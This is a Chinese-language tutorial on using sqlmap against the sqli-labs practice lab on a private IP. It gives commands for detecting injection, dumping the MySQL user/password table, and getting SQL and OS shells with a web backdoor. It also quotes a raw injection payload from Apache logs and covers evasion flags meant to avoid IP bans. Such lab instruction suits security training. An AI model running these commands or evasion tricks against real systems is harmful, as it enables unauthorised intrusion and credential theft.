- 说明:常见WEB漏洞之sql注入必须精通,因为在信息收集阶段,我们的目标是一个网站的服务器。常见的21、22、23号端口大多数情况都不会开放的,但是80、8080等WEB端口一定24小时开放着。这个时候我们不能用ssh口令爆破登录远程主机,只能从WEB方面考虑是否存在漏洞。
- 对sql注入的理解到底有多深,决定了你对此漏洞的利用方式有多么的变化莫测!!!
- SQLI(sql injection 即SQL注入)。sql(structed query language,即结构化查询语言),常见的SQL有:mysql、mssql、orcale、postgresql等等。
sqlmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Python语言写成。
具有如下特点:
由于Python是解释执行的语言,不用编译,所以至此最新版的Sqlmap已经安装完成。
我们老师的金句:不要过于依赖sqlmap工具,手工注入–掌握底层原理
Sqlmap有的无法绕过waf,因此还是手工注入更能体现出水平!
在C:\phpStudy\PHPTutorial\Apache\conf目录下修改配置文件httpd.conf,在文件中搜索 logLevel error,并将最后一行#CustomLog “logs/access.log” combined语句前面的# 号去掉,可以使配置服务器端apache服务的日志可以记录;
切记:这里我们在进行sqlmap注入时,应该先关掉服务器上自带的防火墙和已安装的防火墙(如:safedog等等)。
命令:sqlmap -u 'http://192.168.85.112/sqlilabs/Less-5/?id=1’
#判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步骤才可以执行成功。
- -u : 注入点
命令:Sqlmap -u ‘http://192.168.85.112/sqli-labs/Less-5/?id=1’ --dbs
# 列举能列的所有数据库名
- -u : 注入点
- –dbs : 列出所有数据库
- –flush-session : 重新注入。因为有缓存,所以出来很快,所以用–flush-session来重新注入;
2.1.1> 在浏览器上通过http://192.168.85.112/sqlilabs/Less-5/?id=4进行注入;
2.1.2> 通过BurpSuite进行抓包,并将抓包到的所有内容复制下导入到kali中;
2.2.1> 创建sqlmap.txt文件,并进行内容复制;
命令1:touch sqlmap.txt
命令2:leafpad sqlmap.txt
接下来将需要上面复制的内容,粘贴到sqlmap.txt文件中。
2.2.2> 在kali中通过执行sqlmap.txt文件对目标进行注入;
命令:root@kali:sqlmap -r sqlmap.txt --dbs --flush-session
- -r:从一个文件里加载http请求
记录IP,- -(表示网站访问的登录用户和密码),日期,请求方法以及路径
对以上Apache日志文件进行分析:
分析日志发现:短时间内有大量的相同请求,网站分析可能是脚本在跑,手工注入速度达不到,因此有可能被封杀。
? id=1%20AND%20%28SELECT%206267%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716a766a71%2C%28SELECT%20%28ELT%286267%3D6267%2C1%29%29%29%2C0x7178787171%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29 HTTP/1.1" 200 2494 "-" "sqlmap/1.3.4#stable (http://sqlmap.org)"
语上面的Payload特殊语句去掉后,可以翻译成为:
4' AND (SELECT 9123 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'zlat'='zlat id=1 AND (SELECT 6267 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(6267=6267,1))),0x7178787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) HTTP/1.1" 200 2494 "-" "sqlmap/1.3.4#stable (http://sqlmap.org)"
一般网站我们都用sqlmap这样的自动化工具去跑,很可能IP被封杀掉。因此合理的伪装成正常的访问是我们需要进一步做到的,以下为相关的参数:
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=1’ --thread 5 --delay 1 --timeout 2 --retries 2 --random-agent --risk 3 --dbs
这个是老师给的资料上面的图片—— 注意:通过对apache日志的观察和分析User-agent头部已经改变。:
这个是自己的的Win7上面的apache日志:
192.168.85.134 - - [12/Sep/2019:10:50:35 +0800] "GET /sqlilabs/Less-5/?id=1 HTTP/1.1" 200 704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2"
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=3’ --time-sec 5 --dbs
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -f
DBA:数据库管理员(Database Administrator,简称DBA)
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql --tables --threads=10
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql -T user --columns --threads=10
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql -T user -C user,password --dump --threads=10
获取数据库mysql,表user中的用户名(user)和密码(password);
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --sql-shell
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --dbs --udf-inject --flush-session
用–os-shell参数可以模拟一个真实的Shell,输入项执行的命令。当不能之心个多语句时(比如PHP或ASP的后端数据库为MySQL),任然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dbs的值腰围True)。
输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --os-shell